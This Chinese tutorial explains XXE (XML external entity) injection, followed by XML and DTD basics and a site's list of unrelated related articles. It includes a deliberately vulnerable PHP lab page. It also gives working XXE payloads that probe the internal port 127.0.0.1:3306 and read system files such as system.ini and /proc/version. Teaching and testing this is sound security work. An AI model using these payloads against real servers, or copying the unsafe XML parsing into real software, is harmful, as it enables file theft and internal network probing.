XXE:XML外部实体引入

XXE漏洞

如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞

漏洞利用流程

1.客户端发送xml文件,其中dtd存在恶意的外部实体引用

2.服务器进行解析

3.服务器返回实体引用内容

危害:任意文件读取,系统命令执行

实例

靶场代码[可替换为pikachu靶场]

<head><meta charset=utf-8><title>xxe测试</title>
</head>
<body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form>
</body><?phpdate_default_timezone_set("PRC");if(!empty($_POST['sub'])){ $data= $_POST['data'];$xml = simplexml_load_string($data);print($xml); }
?>

页面效果

1.使用xxe获取服务器端口信息

paylod

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "http://127.0.0.1:3306">]><BookInfo>
&xxe;
</BookInfo>

运行逻辑

  • 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
  • 然后,解析器会尝试解析xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。
  • 如果端口开启,会正常响应,如果关闭页面加载异常

2.任意文件读取

paylod

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "file:///c://windows//system.ini">]><BookInfo>
&xxe;
</BookInfo>

在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。

windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础

XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强

用途:存储配置文件,数据交换

XML格式要求

XML文档必须有根元素
XML文档必须有关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性必须加引号

基础XML内容

<?xml version="1.0" encoding="UTF-8"?>
<BookInfo><Book><Title>书名</Title><Author>张三</Author><Publisher>出版社</Publisher><PublicationYear>2024</PublicationYear><ISBN>6226097558881666</ISBN><Genre>类型</Genre><Price>1000</Price><Description>书籍简介</Description></Book><Seller><Id>6222083803003983</Id><Name>李四</Name></Seller>
</BookInfo>

文档构成

文档第一行为xml声明文件描述xml版本及编码信息

<?xml version="1.0" encoding="UTF-8"?>

文档根元素为 <BookInfo> 闭合标签为 </BookInfo>

文档根元素下具有 <Book> 和 <Seller> 子元素

其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名

这些元素构建成了·xml文档对信息进行描述和传递

XML文档规范

当xml文件内容过多时,为防止内容混乱

引入了DTD(文档类型描述)用于声明文档结构

DTD定义了文档结构及元素的规则

DTD构成

DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则

<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>

 1. 文件类型声明 : !DOCTYPE

关键字DOCTYPE 表明此文件根元素为BookInfo

 2.  [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。

 3. 元素定义:<!ELEMENT BookInfo (Book, Seller)>

关键字ELEMENT 定义元素下有哪些子元素

DTD实体的定义

实体 相当于提前定义的全局变量的值,可在文档中进行引用

实体的定义

关键字:ENTITY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>

内部实体的引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>

页面效果

外部实体文件及引用

外部实体文件

<!ENTITY name "xiaoming">

文件引用 

DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd"    >]><BookInfo>
<name>&name;</name>
</BookInfo>

完整的xml文档内容

<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?><!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL"><!-- 第三部分:文档元素 -->
<note><to>Dave</to><from>GiGi</from><head>Reminder</head><body>fish together</body>
</note>

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/381449.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaScript之WebAPIs-BOM

目录 BOM操作浏览器一、Window对象1.1 BOM&#xff08;浏览器对象模型&#xff09;1.2 定时器-延时函数1.3 js执行机制1.4 location对象1.5 navigator对象1.6 history对象 二、本地存储三、补充数组中的map方法数组中的join方法数组中的forEach方法(重点)数组中的filter方法(重…

2024可信数据库发展大会:TDengine CEO 陶建辉谈“做难而正确的事情”

在当前数字经济快速发展的背景下&#xff0c;可信数据库技术日益成为各行业信息化建设的关键支撑点。金融、电信、能源和政务等领域对数据处理和管理的需求不断增加&#xff0c;推动了数据库技术的创新与进步。与此同时&#xff0c;人工智能与数据库的深度融合、搜索与分析型数…

Elasticsearch基础(五):使用Kibana Discover探索数据

文章目录 使用Kibana Discover探索数据 一、添加样例数据 二、数据筛选 三、保存搜索 使用Kibana Discover探索数据 一、添加样例数据 登录Kibana。在Kibana主页的通过添加集成开始使用区域&#xff0c;单击试用样例数据。 在更多添加数据的方式页面下方&#xff0c;单击…

sublime中无法找到Package Control或Install Package

在Crtl Shift P 中无法查找到Package Control或Install Package或调用产生报错。 可以尝试在 首选项 ---- > 设置中 检查配置文件"ignored_packages":紧跟的中括号中是否为空&#xff0c;如果不为空请删除其中内容。 如果不确定内容&#xff0c;可以用下面的…

【Python】使用库 -- 详解

库就是别人已经写好了的代码&#xff0c;可以让我们直接拿来用。 一个编程语言能不能流行起来&#xff0c;一方面取决于语法是否简单方便容易学习&#xff0c;一方面取决于生态是否完备。所谓的 “生态” 指的就是语言是否有足够丰富的库&#xff0c;来应对各种各样的场景。在…

TCP与UDP的理解

文章目录 UDP协议UDP协议的特点UDP的应用以及杂项 TCP协议TCP协议段格式解释和TCP过程详解确认应答机制 -- 序号和确认序号以及6位标志位中的ACK超时重传机制连接管理机制 与标志位SYN,FIN,ACK滑动窗口与16位窗口大小流量控制拥塞控制延迟应答捎带应答和面向字节流粘包问题TCP异…

Docker核心技术:容器技术要解决哪些问题

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 Docker核心技术 系列文章&#xff1a;容器技术要解决哪些问题&#xff0c;其他文章快捷链接如下&#xff1a; 应用架构演进容器技术要解决哪些问题&#xff08;本文&#xff09;Docker的基本使用Docker是如何实…

深入理解Java 8的流式API:简化代码,提升效率

文章目录 深入理解Java 8的流式API&#xff1a;简化代码&#xff0c;提升效率一、流 Stream二、Int | Long | Double Stream三、收集器 Collectors 深入理解Java 8的流式API&#xff1a;简化代码&#xff0c;提升效率 Java 8引入了Stream API&#xff0c;它提供了一种新的抽象&…

JavaDS —— 二叉树

树的基本概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看 起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 树形结构中&#xff0c;子树之间不能有…

SpringCloud------Sentinel(微服务保护)

目录 雪崩问题 处理方式!!!技术选型 Sentinel 启动命令使用步骤引入依赖配置控制台地址 访问微服务触发监控 限流规则------故障预防流控模式流控效果 FeignClient整合Sentinel线程隔离-------故障处理线程池隔离和信号量隔离​编辑 两种方式优缺点设置方式 熔断降级-----…

tinymce富文本支持word内容同时粘贴文字图片上传 vue2

效果图 先放文件 文件自取tinymce: tinymce富文本简单配置及word内容粘贴图片上传 封装tinymce 文件自取&#xff1a;tinymce: tinymce富文本简单配置及word内容粘贴图片上传 页面引用组件 <TinymceSimplify refTinymceSimplify v-model"knowledgeBlockItem.content…

用html做python教程01

用html做python教程01 前言开肝构思实操额外修饰更换字体自适应 最后 前言 今天打开csdn的时候&#xff0c;看见csdn给我推荐了一个python技能书。 说实话&#xff0c;做得真不错。再看看我自己&#xff0c;有亿点差距&#x1f61f;。 开肝 先创建一个文件&#xff0c;后缀…

【Vue3】工程创建及目录说明

【Vue3】工程创建及目录说明 背景简介开发环境开发步骤及源码 背景 随着年龄的增长&#xff0c;很多曾经烂熟于心的技术原理已被岁月摩擦得愈发模糊起来&#xff0c;技术出身的人总是很难放下一些执念&#xff0c;遂将这些知识整理成文&#xff0c;以纪念曾经努力学习奋斗的日…

【linux】Shell脚本中basename和dirname的详细用法教程

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全…

Python爬虫-淘宝搜索热词数据

前言 本文是该专栏的第70篇,后面会持续分享python爬虫干货知识,记得关注。 在本专栏之前,笔者有详细针对“亚马逊Amazon搜索热词”数据采集的详细介绍,对此感兴趣的同学,可以往前翻阅《Python爬虫-某跨境电商(AM)搜索热词》进行查看。 而在本文,笔者将以淘宝为例,获取…

Linux----Mplayer音视频库的移植

想要播放视频音乐就得移植相关库到板子上 Mplayer移植需要依赖以下源文件&#xff1a;(从官网获取或者网上) 1、zlib-1.2.3.tar.gz &#xff1a;通用的内存空间的压缩库。 2、libpng-1.2.57.tar.gz :png格式图片的压缩或解压库 3、Jpegsrc.v9b.tar.gz : jpeg格式图片的压…

n7.Nginx 第三方模块

Nginx 第三方模块 第三模块是对nginx 的功能扩展&#xff0c;第三方模块需要在编译安装Nginx 的时候使用参数–add-modulePATH指定路径添加&#xff0c;有的模块是由公司的开发人员针对业务需求定制开发的&#xff0c;有的模块是开 源爱好者开发好之后上传到github进行开源的模…

注册安全分析报告:东方航空

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞 …

移动硬盘在苹果电脑上使用后在windows中无法读取 Win和Mac的硬盘怎么通用

在日益普及的跨平台工作环境中&#xff0c;苹果电脑与Windows PC之间的数据交换成为日常需求。然而&#xff0c;用户常面临一个困扰&#xff1a;为何苹果电脑的硬盘能在macOS下流畅运行&#xff0c;却在Windows系统中变得“水土不服”&#xff1f;这一问题核心在于硬盘格式的不…

IP转接服务的重要性及其应用

在现今互联网高度发达的时代&#xff0c;IP转接服务的重要性日益凸显。对于家庭和企业而言&#xff0c;它不仅是连接互联网的桥梁&#xff0c;更是确保网络稳定、高效运行的关键。本文将深入探讨IP转接服务的核心意义及其在互联网世界中的应用。 IP转接服务&#xff0c;简而言之…